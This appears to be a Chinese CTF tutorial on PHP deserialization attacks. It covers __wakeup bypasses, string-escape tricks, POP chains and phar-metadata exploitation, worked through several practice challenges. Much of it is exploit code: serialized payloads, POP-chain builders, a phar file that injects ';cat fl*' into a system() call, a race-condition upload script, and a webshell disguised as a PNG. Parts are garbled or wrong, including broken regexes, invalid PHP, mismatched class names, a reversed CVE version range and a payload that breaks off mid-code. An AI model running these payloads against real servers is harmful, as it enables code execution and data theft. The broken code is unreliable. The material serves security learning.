PHP反序列化


基础知识

PHP反序列化原理

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。那么为什么要反序列化呢?可以说,序列化就是将对象转换为可以传输,储存的数据。


为什么反序列化?

1.存储需求

“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。” 在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。

2.传输需求

序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。

这样就让对象能够以字节流的形式传输。


基本函数和方法

对于PHP,进行反序列化时主要用到了这两种函数:

1
2
 serialize      -- 将对象格式化成有序的字符串
 unserialize    -- 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

除了这两个函数,还需要了解PHP中常见的魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
 __construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
 __sleep() 使用serialize()时自动触发
 __wakeup() 使用unserialize()时自动触发
 __destruct() 当一个对象被销毁时触发
 __toString() 当一个类被当成字符串使用时触发,不仅是echo
 __invoke() 当尝试以调用函数的方式调用一个对象时触发
 __call() 在对象上下文中调用不可访问的方法时触发
 __callStatic() 在静态上下文中调用不可访问的方法时触发
 __get() 用于从不可访问的属性读取数据
 __set() 用于将数据写入不可访问的属性
 __isset() 在不可访问的属性上调用isset()或empty()触发
 __unset() 在不可访问的属性上使用unset()时触发
方法和属性

我们可以发现,把对象序列化之后的数据中并不能看到任何一个方法。

1
 序列化只序列化他的属性,不序列化方法。

也就是说我们在利用序列化攻击的时候,也是依托类属性进行攻击。

关于属性,PHP设置了三种不同的变量public,private,protected,他们之间存在一些标记上的区别

  • public无标记,变量名不变,长度不变: s:2:"op";i:2;
  • protected在变量名前添加标记\00_\00,长度+3: `s:5:”\00_\00op”;i:2;`
  • private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;

这里有一个点要注意,private变量和protected变量和public变量不一样,他们是受到保护的,所以我们在创建序列化对对象的时候不能再已经创造出对象了再来进行赋值,这是没有权限的。看下面的payload帮助理解。

1
2
3
4
5
6
7
8
9
10
11
12
 题目:
     class Test{
     private $test;
     public function __construct($test)
    {
         $this->test = $test;
    }
     public function __destruct()
    {
         eval($this->test);
    }
 }unserialize($_GET['a']);

正确payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 #payload 1
 class Test                            
 {
     private $test;
     public function __construct($test){
         $this->test = $test;
    }
 }
 $a = new Test('phpinfo();');
 echo urlencode(serialize($a));
 ​
 #payload 2
 class Test                            
 {
     private $test;
     public function __construct($test){
         $this->test = 'phpinfo()';
    }
 }
 $a = new Test();
 echo urlencode(serialize($a));
 ​
 #payload 3
 class Test                            
 {
     private $test='phpinfo();';
 }
 $a = new Test();
 echo urlencode(serialize($a));

错误payload

1
2
3
4
5
6
7
8
9
10
 class Test                             
 {
     private $test;
     public function __construct($test){
         $this->test = $test;
    }
 }
 $a = new Test();
 $a->test='phpinfo();';          //这样操作是不行的
 echo urlencode(serialize($a));

CTF应用


基础技巧


__wakeup绕过

(CVE-2016-7124)

原理

影响版本:PHP>5.6.25 ; PHP<7.0.10

wakeup在使用unserialize()时自动触发,也就是说但凡涉及到反序列化的操作,都会去执行wakeup的内容,如果里面的内容对我们不友好,我们可以利用这个cve对其进行绕过

 当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

实例
1
2
3
4
5
6
7
 <?php
     class xctf{
     public $flag = '111';
     public function __wakeup(){
         exit('bad requests');
    }
     ?code=

我们的目的是不能进入wakeup否则就直接exit了。

先构造poc

1
2
3
4
5
6
7
8
9
10
 <?php
     class xctf{
     public $flag = '111';
     public function __wakeup(){
     exit('bad requests');
    }
    }
     $a = new xctf();
     echo serialize($a);
 ?>

得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果我们现在直接传这个就会进入wakeup,所以要绕过它,具体方法就是把最后的那个3改成4,把外面的那个1改成2.都可以绕过。


绕过部分正则

最常见的一种正则是preg_match('/^O:\d+/')大概意思是匹配对象字符串是不是O:开头:然后跟一个数字。

绕过

  • 一个很简单的绕过手法就是在数字前面加一个+,这样就绕过正则。正常来说正数会省略+,但是加上也不算错。O:4:"xctf":1:{s:4:"flag";s:3:"111";}变成O:+4:"xctf":1:{s:4:"flag";s:3:"111";}
  • serialize(array(a)) a是要反序列化的对象(这样我们序列化的开头就不是O而是a,但同时又不影响作为数组元素的$a的析构)

利用引用绕过

推荐博客:https://inhann.top/2022/05/17/bypass_wakeup/

介绍一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()

这适用于高版本的PHP中,此时传统的__wakeup绕过不起作用。

原理:

a=1;

b=&a;

a=a+1;

那么最后b得值也会变为2,因为b是引用赋值,b存放的是a的地址,a改变。b的地址没变但是地址对应的值改变,也就是b改变了。同理改变了b也就是通过b找到a的值把它修改了,所以修改b,a也修改了。

在反序列化中同理:

1
2
3
 $b = new Flag('flag.php');
 $b->token=&$B->token_flag;      //使得token始终等于token_flag
 $a = new Handle($b);

省略一些其他条件,得到payload:

1
 O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

需要注意的就是这个R,这就是类似指针的引用的对应字符。

e.g:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
 highlight_file("1.php");
 class File{
 public $filename;
 public $secret;
 public function __construct($filename,$secret){
 $this->filename=$filename;
 $this->secret=$secret;
 }
 public function __wakeup()
 {   $this->filename="nonoflag";
 if(isset($_GET['secret'])) {
 $this->secret = $_GET['secret'];
 }
 }
 ​
 public function __destruct()
 {
 //@include($this->filename);
     echo $this->filename;
     if ($this->filename == 'flag.php'){
         echo 'You get the flag!';
 }
 }
 }
 ​
 if(isset($_GET['flag'])){
 $flag = $_GET['flag'];
 unserialize($flag);
 }

思路:

  • 这个题需要绕过wakeup里面的filename=nonoflag这条语句,但是PHP版本过高,常规绕过不行
  • 考虑引用绕过,因为wakeup里面允许get传参传入secret,所以我们用引用操作让$this->$secret=&$this->$filename;,这样filename就一直等于secret,然后get传secret等于flag.php。实现与wakeup的对冲
  • 从而让filename=flag.php

poc:

1
2
3
4
5
6
7
8
 <?php
 class File{
     public $filename;
     public $secret;
 }
 $a = new File();
 $a->secret=&$a->filename;
 echo urlencode(serialize($a));  //O:4:"File":2:{s:8:"filename";N;s:6:"secret";R:2;}

最终payload:

  • get传参:O:4:"File":2:{s:8:"filename";N;s:6:"secret";R:2;}[url编码之后的]
  • secret传flag.php

十六进制绕过字符的过滤
1
2
3
4
 O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
 可以写成
 O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
 表示字符类型的s大写时,会被当成16进制解析。

PHP反序列化字符串逃逸

此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞 这种题目有个共同点:

  • php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
  • 总是先进行序列化,再进行替换修改操作。

过滤后字符变多

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
 function filter($str){
     return str_replace('bb', 'ccc', $str);
 }
 class A{
     public $name='aaaa';
     public $pass='123456';
 }
 $AA=new A();
  echo serialize($AA)."\n";$res=filter(serialize($AA));
 $c=unserialize($res);
 echo $c->pass;
 echo '</br>';
 echo $c->name;
 ?>

分析:

  • 把bb换成ccc,字符串就长了,但是字符串长度在filter函数进行前就确定好了,【根据原来是bb的时候就确定了】
  • 这个时候我们每构造一个bb,设定的字符串长度就会比实际的字符串少一个,也就是name中有一个字符逃逸出来了
  • 如果我们尝试先对name的值进行闭合";},然后构造一下就能修改pass的值,使得通过构造name来取修改了pass
1
2
3
4
5
6
7
8
9
10
11
 <?php
 function filter($str){
     return str_replace('bb', 'ccc', $str);
 }
 class A{
     public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
     public $pass='123456';
 }
 $AA=new A();
  echo serialize($AA)."\n";$res=filter(serialize($AA));
 $c=unserialize($res);

分析:

  • 经过filter之前:O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";} 27*2和b加27个其他的‘“;s:4:”pass”;s:6:”hacker”;}’
  • 这个还是正常的,然后我们把bb换成ccc,然后81对应的字符串就是27*3=81个c, `O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"`;s:4:"pass";s:6:"hacker";}"`;s:4:"pass";s:6:"123456";}
  • 成功逃逸出来,剩下的关于pass的被闭合丢掉了
过滤后字符变少

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
 function str_rep($string){
  return preg_replace( '/phptest/','', $string);
 }
 ​
 $test['name'] = $_GET['name'];
 $test['sign'] = $_GET['sign'];
 $test['number'] = '2020';
 $temp = str_rep(serialize($test));
 printf($temp);
 $fake = unserialize($temp);
 echo '<br>';
 print("name:".$fake['name'].'<br>');
 print("sign:".$fake['sign'].'<br>');
 print("number:".$fake['number'].'<br>');
 ?>

分析:

  • 把/phptest/换成空,造成字符变少。
  • 我们通过构造name和sign来改变number,后者sign的值。
  •  $name=’testtesttesttesttesttest’
     $sign=’hello”;s:4:”sign”;s:4:”eval”;s:6:”number”;s:4:”eval”;}’
     $number=2023
     //最终:
     name:’”;s:4:”sign”;s:54:”hello’
     sign:’eval’
     number:’eval’
  • 这个时候name前面的字符数量本来是24,但是name此时为空,也就是把sign后面的前面几位也包进去了
  • 构造闭合之后";作为结尾,再构造后面的值,去改变sign或者number都可以
  • 关键就是这个字符减少,第一个设定字符数就大于实际字符数,就会把第二个字符也包进去,就把第二个的字符数包进去了,那个第二个甚至后面的字符数,字符内容都可以自己构造了!

pop链的利用


直接看例题:

题目一
题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 error_reporting(0);
 show_source("index.php");
 ​
 class w44m        c
 {
 ​
     private $admin = 'aaa';
     protected $passwd = '123456';
 ​
     public function Getflag()
    {
         if ($this->admin === 'w44m' && $this->passwd === '08067') {
             include('flag.php');
             echo $flag;
        } else {
             echo $this->admin;
             echo $this->passwd;
             echo 'nono';
        }
    }
 }
 ​
 class w22m             a
 {
     public $w00m;
 ​
     public function __destruct()
    {
         echo $this->w00m;
    }
 }
 ​
 class w33m                      b
 {
     public $w00m;
     public $w22m;
 ​
     public function __toString()
    {
         $this->w00m->{$this->w22m}();
         return 0;
    }
 }
 $w00m = $_GET['w00m'];
 unserialize($w00m);
分析

1.首先看到w44m这个class,自然写出脚本

1
2
3
4
5
6
7
8
 class w44m
 {
     private $admin = 'w44m';
     protected $passwd = '08067';
 }
 $a=new ;
 ​
 echo urlencode(serialize($a));

2.现在目的是调用 function Getflag(),这个函数。然后payload应该是 /?w00m=(最后两排)

3.最后一步是反序列化一个w00m,那么考虑从destruct入手(销毁时调用)。

4.调用distruct,就是一个echo,这个时候想到另一个魔术方法__toString(将对象作为字符串操作时调用),所以要让$this->w00m存的是字符串。

5.调用后,此时 $this->w00m->{$this->w22m}(); 注意这里有一个(),像是一个函数,也就是说如果w22m=Getflag那么就变成 $this->w00m->Getflag()。。。也就是调用这个函数,达到目的。所以让w00m表示class w44m这个类

6.先写出这几个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 class w44m
 {
     private $admin = 'w44m';
     protected $passwd = '08067';
 }
 class w22m
 {
     public $w00m;
 }
 class w33m
 {
     public $w00m;
     public $w22m;
 }
  $a = new w22m;
     $b= new w33m;
     $c = new w44m;
     
总体思路:

#具体链子是: w22m->w00m=new w33m ——–》 tostring ——–》 w33m->woom=w44m + w33m->w22m=Getflag ——–》 Getflag()

1.$a->w00m=$b;

触发destruct后调用w33m.__toString();

2.$b->w22m=’Getflag’;

$b->w00m=$c;

让$this->w00m->{$this->w22m}(); 变成执行$c中Getflag()函数

答案(抄)
1
2
3
4
5
6
7
8
9
10
11
 <?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; }
 class w22m{ public $w00m; }
 class w33m{ public $w00m; public $w22m; }
 # w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
 $a = new w22m();
 $b = new w33m();
 $c = new w44m(); # 入口
 $a->w00m=$b; # 链子
 $b->w00m=$c;
 $b->w22m='Getflag';
 echo urlencode(serialize($a)); ?>

phar反序列化

基础

Phar全称 PHP Archive

Phar可以认为是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。他可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行其内部语句。.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。

一些配置:

默认phar扩展是只读模式,需要手动配置php.ini中phar.readonly= Off

默认开启版本 PHP version >= 5.3

demo:

1
2
3
4
5
 <?php
     $phar = new Phar('demo.phar');
     $phar['demo.php'] = '<?php echo 1;?>';
     include('phar://./demo.phar/demo.php'); //1
 ?>

使用phar://伪协议读取phar文件。

Phar文件格式
  • a stub
  • a manifest describing the contents
  • the file contents
  • [optional] a signature for verify Phar integrity(phar file format only)

stub:stub是phar文件的文件头,格式为:...<?php... __HALT_COMPILER();?>其中...可以是任意字符,也可以留空,留空的话就是:<?php __HALT_COMPILER();?>。注意php闭合号与最后一个分号之间不能有多于一个的空格符。另外PHP闭合符也是可以省略的。

最短省略闭合符的stub是__HALT_COMPILER();?>

manifest describing the contents:该区域存放phar包的属性信息,允许每个文件指定文件压缩、文件权限,甚至是用户定义的元数据,如文件用户或组。

file contents :被压缩的用户添加的文件内容

[可选]signature:可选,phar文件的签名,允许的有MD5, SHA1, SHA256, SHA512和OPENSSL

生成Phar文件
  • 实例化Phar类:通常只需要传入文件名 具体参数解读:new Phar($buildRoot . "/myphar.phar", FilesystemIterator::CURRENT_AS_FILEINFO FilesystemIterator::KEY_AS_FILENAME, "myphar.phar");。一个新的Phar对象的创建通常需要三个参数。

    • 第一个参数是Phar文件路径[不仅可以通过它创建Phar文件还可以对现存的Phar文件进行操作]
    • 第二个参数是设定Phar文件对象如何处理文件。可以不填写此时提供的值是RecursiveDirectoryIterator 的缺省值。
    • 第三个参数是Phar文件的别名,在内部引用这个Phar文件时都需要使用这个别名

    通常我们只需要传入第三个参数。

  • 创建stub有两种方法创建stub:自定义创建和使用默认stub。

    • 自定义创建,也就是调用类方法Phar::setStub($string)为实例创建自定义stub setStub('‘);
        include(‘phar://demo.phar’); // in stub!
       ?>
    • 使用默认stub,也就是调用类方法Phar::setDefaultStub()为实例设置默认stub,使用方法Phar::getStub()获取实例的stub setDefaultStub();      print\_r($phar->getStub()); // 2, 'c' => 'text/plain', 'cc' => 'text/plain', ...  ?>
  • 【可选】添加自定义元数据调用类方法Phar::setMetadata()为实例设置默认stub,使用方法Phar::getMetadata()获取实例的stub 1);      $phar->setMetadata($metadata);      print\_r($phar->getMetadata()); // Array ( \[demo\] => 1 )  ?>

  • 【可选】添加文件添加文件有几种方法:手动添加已有文件,以字符串添加文件内容,添加空目录,手动选择添加已有目录,从迭代器添加。重点看前两个

    • 手动添加已有文件 addFile('test.php');   include('phar://demo.phar/test.php') // in test.php  ?>
    • 以字符串形式添加文件内容 addFromString('test.php','‘);
        include(‘phar://demo.phar/test.php’); // in test.php
       ?>
  • 【可选】手动添加支持的签名缺省会自动签名,基于SHA-1算法 addFromString('test.php',1);  print\_r($phar->getSignature()); // Array ( \[hash\] => F... \[hash\_type\] => SHA-1 )  ?>

  • 【可选】提高性能在实例化phar类后,调用方法Phar::startBuffering()Phar::stopBuffering创建缓冲区,并在缓冲区进行创建、添加等操作 startBuffering();   $phar->setStub('‘);
      $phar->addFromString(‘test.php’,’‘);
      $phar->stopBuffering();
     ?>上面这个demo就是创建一个Phar文件的基本步骤。

php文件上传+文件包含(phar伪协议)

原理:通过伪协议上传马,然后连接webshell

phar伪协议特性:不管后缀是什么,都当作压缩包来解

phar协议和zip协议差不过,都是可以访问zip格式的压缩包的内容

所以我们写一个PHP一句话马,压缩成zip,接着手动改后缀为png,上传到服务器中。最后用phar伪协议文件包含,发现被成功解析。


在反序列化中的利用

我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

即,在题目背景中没有反序列化函数而有文件上传的入口时,可以考虑通过Phar伪协议来进行自自动的反序列化。

前提函数

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下

利用

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
     class TestObject {
    }
     $phar = new Phar("phar.phar"); //后缀名必须为phar
     $phar->startBuffering();
     $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
     $o = new TestObject();
     $o -> data='hu3sky';
     $phar->setMetadata($o); //将自定义的meta-data存入manifest
     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>

利用条件:

  • phar文件要能够上传到服务器端

一些绕过
文件头检测

当然如果题目还会在后端检查文件类型的话,就需要将phar文件后缀改成图片或者其他格式。

再真实一点,可以加一个文件头:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
     class TestObject {
    }
     @unlink("phar.phar");
     $phar = new Phar("phar.phar");
     $phar->startBuffering();
     $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
     $o = new TestObject();
     $phar->setMetadata($o); //将自定义meta-data存入manifest
     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>
phar文件开头

如果后端还不能让phar作为开头的话,还能够两个伪协议嵌套:

1
2
3
 if (preg_match("/^php^file^gopher^http^https^ftp^data^phar^smtp^dict^zip/i",$filename){
     die();
 }

绕过:

1
2
3
4
5
6
7
8
 // Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
 ​
 compress.bzip://phar:///test.phar/test.txt
 compress.bzip2://phar:///home/sx/test.phar/test.txt
 compress.zlib://phar:///home/sx/test.phar/test.txt
 php://filter/resource=phar:///test.phar/test.txt
 // 还可以使用伪协议的方法绕过
 php://filter/read=convert.base64-encode/resource=phar://phar.phar

绕过__HALT_COMOILER的检测

1
2
3
 if (preg_match("/</?phpHALT_COMPILER/i",$filename){
     die();
 }

因为phar文件要求必须是以这个结尾,不能绕过,只能想其他方法

方法一:将phar文件使用gzip命令压缩压缩文件里面就没有__HALT_COMOILER了,变成phar.phar.gz,上传成功之后利用文件包含漏洞解析该压缩包。

方法二:将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过该正则

1
2
3
4
5
6
7
 $phar_file = serialize($exp);
     echo $phar_file;
     $zip = new ZipArchive();
     $res = $zip->open('1.zip',ZipArchive::CREATE);
     $zip->addFromString('crispr.txt', '...');
     $zip->setArchiveComment($phar_file);
     $zip->close();

题目一
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 class filter{
     public $filename;
     public $filecontent;
     public $evilfile=false;
     public $admin = false;
 ​
     public function __construct($f,$fn){
         $this->filename=$f;
         $this->filecontent=$fn;
    }
     public function checkevil(){
         if(preg_match('/php\.\./i', $this->filename)){
             $this->evilfile=true;
        }
         if(preg_match('/flag/i', $this->filecontent)){
             $this->evilfile=true;
        }
         return $this->evilfile;
    }
     public function __destruct(){
         if($this->evilfile && $this->admin){
             system('rm '.$this->filename);
        }
    }
 }
 ​
 if(isset($_GET['fn'])){
     $content = file_get_contents('php://input');
     $f = new filter($_GET['fn'],$content);
     if($f->checkevil()===false){
         file_put_contents($_GET['fn'], $content);
         copy($_GET['fn'],md5(mt_rand()).'.txt');
         unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
         echo 'work done';
    }
     
 }else{
     echo 'where is flag?';
 }
分析
  • 入口点是file_put_content函数,去写入phar文件。
  • 该函数第一个参数可控,所以我们使用phar伪协议
  • 再通过第二个参数content传入phar文件数据
  • 这样通过phar伪协议解析的时候就会对metadata的部分反序列化
  • 不过题目会删除文件(在析构对象的时候),所以需要条件竞争。
payload

构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
 class filter
 {
     public $filename = ';cat fl*';
     public $evilfile = true;
     public $admin = true;
 }
 // 后缀必须为phar
 $phar = new Phar("evil.phar");
 $phar->startBuffering();
 // 设置 stubb
 $phar->setStub("<?php __HALT_COMPILER(); ?>");
 $o = new filter();
 /**
  * 将自定义的 meta-data 存入 manifest
  */
 $phar->setMetadata($o);
 // 添加需压缩的文件
 $phar->addFromString("test.txt", "test");
 $phar->stopBuffering();
 ?>

python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 import base64
 import requests
 import threading
 ​
 flag = False
 url = '...'
 data = open('./evil.phar', 'rb').read()
 pre_resp = requests.get(url)
 if pre_resp.status_code != 200:
     print(url + '\n链接好像挂了....')
     exit(1)
 def upload():
     requests.post(url+"?fn=evil.phar", data=data)
 def read():
     global flag
     r = requests.post(url+"?fn=phar://evil.phar/", data="")
     if "ctfshow{" in r.text and flag is False:
         print(base64.b64encode(r.text.encode()))
         flag = True
 while flag is False:
     a = threading.Thread(target=upload)
     b = threading.Thread(target=read)
     a.start()
     b.start()

题目二

[SWPUCTF 2018]SimplePHP 1

源码

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php 
 header("content-type:text/html;charset=utf-8");  
 include 'function.php';
 include 'class.php';
 ini_set('open_basedir','/var/www/html/');
 $file = $_GET["file"] ? $_GET['file'] : "";
 if(empty($file)) {
     echo "<h2>There is no file to show!<h2/>";
 }
 $show = new Show();
 if(file_exists($file)) {
     $show->source = $file;
     $show->_show();
 } else if (!empty($file)){
     die('file doesn\'t exists.');
 }
 ?>

upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php 
 include 'function.php';
 upload_file();
 ?>
 <html>
 <head>
 <meta charest="utf-8">
 <title>文件上传</title>
 </head>
 <body>
 <div align = "center">
         <h1>前端写得很low,请各位师傅见谅!</h1>
 </div>
 <style>
     p{ margin:0 auto}
 </style>
 <div>
 <form action="upload_file.php" method="post" enctype="multipart/form-data">
     <label for="file">文件名:</label>
     <input type="file" name="file" id="file"><br>
     <input type="submit" name="submit" value="提交">
 </div>
 ​
 </script>
 </body>
 </html>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php 
 //show_source(__FILE__);
 include "base.php";
 header("Content-type: text/html;charset=utf-8");
 error_reporting(0);
 function upload_file_do() {
     global $_FILES;
     $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
     //mkdir("upload",0777);
     if(file_exists("upload/" . $filename)) {
         unlink($filename);
    }
     move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
     echo '<script type="text/javascript">alert("上传成功!");</script>';
 }
 function upload_file() {
     global $_FILES;
     if(upload_file_check()) {
         upload_file_do();
    }
 }
 function upload_file_check() {
     global $_FILES;
     $allowed_types = array("gif","jpeg","jpg","png");
     $temp = explode(".",$_FILES["file"]["name"]);
     $extension = end($temp);
     if(empty($extension)) {
         //echo "<h4>请选择上传的文件:" . "<h4/>";
    }
     else{
         if(in_array($extension,$allowed_types)) {
             return true;
        }
         else {
             echo '<script type="text/javascript">alert("Invalid file!");</script>';
             return false;
        }
    }
 }
 ?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
 class C1e4r
 {
     public $test;
     public $str;
     public function __construct($name)
    {
         $this->str = $name;
    }
     public function __destruct()
    {
         $this->test = $this->str;
         echo $this->test;
    }
 }
 ​
 class Show
 {
     public $source;
     public $str;
     public function __construct($file)
    {
         $this->source = $file;   //$this->source = phar://phar.jpg
         echo $this->source;
    }
     public function __toString()
    {
         $content = $this->str['str']->source;
         return $content;
    }
     public function __set($key,$value)
    {
         $this->$key = $value;
    }
     public function _show()
    {
         if(preg_match('/httphttpsfile:gopherdict\.\.f1ag/i',$this->source)) {
             die('hacker!');
        } else {
             highlight_file($this->source);
        }
         
    }
     public function __wakeup()
    {
         if(preg_match("/httphttpsfile:gopherdict\.\./i", $this->source)) {
             echo "hacker~";
             $this->source = "index.php";
        }
    }
 }
 class Test
 {
     public $file;
     public $params;
     public function __construct()
    {
         $this->params = array();
    }
     public function __get($key)
    {
         return $this->get($key);
    }
     public function get($key)
    {
         if(isset($this->params[$key])) {
             $value = $this->params[$key];
        } else {
             $value = "index.php";
        }
         return $this->file_get($value);
    }
     public function file_get($value)
    {
         $text = base64_encode(file_get_contents($value));
         return $text;
    }
 }
 ?>

base.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php 
     session_start();
 ?>
 <!DOCTYPE html>
 <html>
 <head>
     <meta charset="utf-8">
     <title>web3</title>
     <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
     <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
     <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
 </head>
 <body>
     <nav class="navbar navbar-default" role="navigation">
         <div class="container-fluid">
         <div class="navbar-header">
             <a class="navbar-brand" href="index.php">首页</a>
         </div>
             <ul class="nav navbar-nav navbra-toggle">
                 <li class="active"><a href="file.php?file=">查看文件</a></li>
                 <li><a href="upload_file.php">上传文件</a></li>
             </ul>
             <ul class="nav navbar-nav navbar-right">
                 <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
             </ul>
         </div>
     </nav>
 </body>
 </html>
 <!--flag is in f1ag.php-->
分析
  • 本题是通过file.php来进行文件包含,读取到其他PHP的源代码
  • base.php里面说flag在f1ag.php中,想办法读取。
  • upload.php有一个文件长传的入口,而且没有看到反序列化的入口
  • 盲猜应该是phar文件上传并包含触发反序列。
  • 根据function.php,就是要求上传图片后缀,直接写个马压缩,改后缀,通过file.php去包含
  • 那么关键就是class.php 里面的一些类去构造pop链了

现在分析pop链

  • 在Show中,提示我们file为phar.jpg
  • Test中有一个base64_encode函数和file_get_content函数引起注意,应该是通过这个去把flag的内容弄进text。这是倒数第二步
  • 要打印这个函数就通过Cle4r里面一个echo,所以需要让$name把flag的内容带进去,最后打印出来
  • 所以我们要让valuef1ag.php
  • value是通过params[$key]得到的,所以构造这个params[key,f1ag.php]
  • 所以我们要想办法触发__get,也就是说,访问Test中一个不存在的变量
  • 现在去看其他类
  • 注意到Show里面有一个$this->str['str']->source,如果我们让$this->str['str']是Test类,那么Test里面没有source,就会去__get并且把source的值传进$key
  • 所以我们要想办法跳进__toString,看到construct里面有一个echo,自然想到通过这个echo来跳进__toString。所以我们让$this->source;就是这个类自身,那么echo的时候就跳进这个类下面的tostring,然后成功返回content
  • 所以让$this->file是一个类。echo这个类就跳进tostring。
思路
  • 整个反序列化结构是:先new Cle4r,然后name传Show这个类。Show类里面的source是Show类,str[str]是Test类,Test里面构造params[source,f1ag.php的绝对路径]
  • 然后这个序列化弄好之后就生成phar.jpg,上传,然后file.php中通过phar伪协议包含,解析,执行反序列化
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 class C1e4r
 {
     public $test;
     public $str;
     public function __construct($name)
    {
         $this->str = $name;
    }
 }
 class Show
 {
     public $source;
     public $str;
      public function __construct($a)
    {
        $this->str[str] = $a;
    }
   
 }
 class Test
 {
     public $file;
     public $params = {'source','f1ag.php的绝对路径'};
 }
 ​
 $b = new Show();
 $b ->source=$b;
 $b ->str['str']=new Test();
 $c = new Cle4r($b);  //或者$c=new Cle4r(); $c->str=$b;
 echo serialize($c)
 ​
   
 //生成phar文件
 $phar = new Phar("exp.phar"); //.phar文件
 $phar->startBuffering();
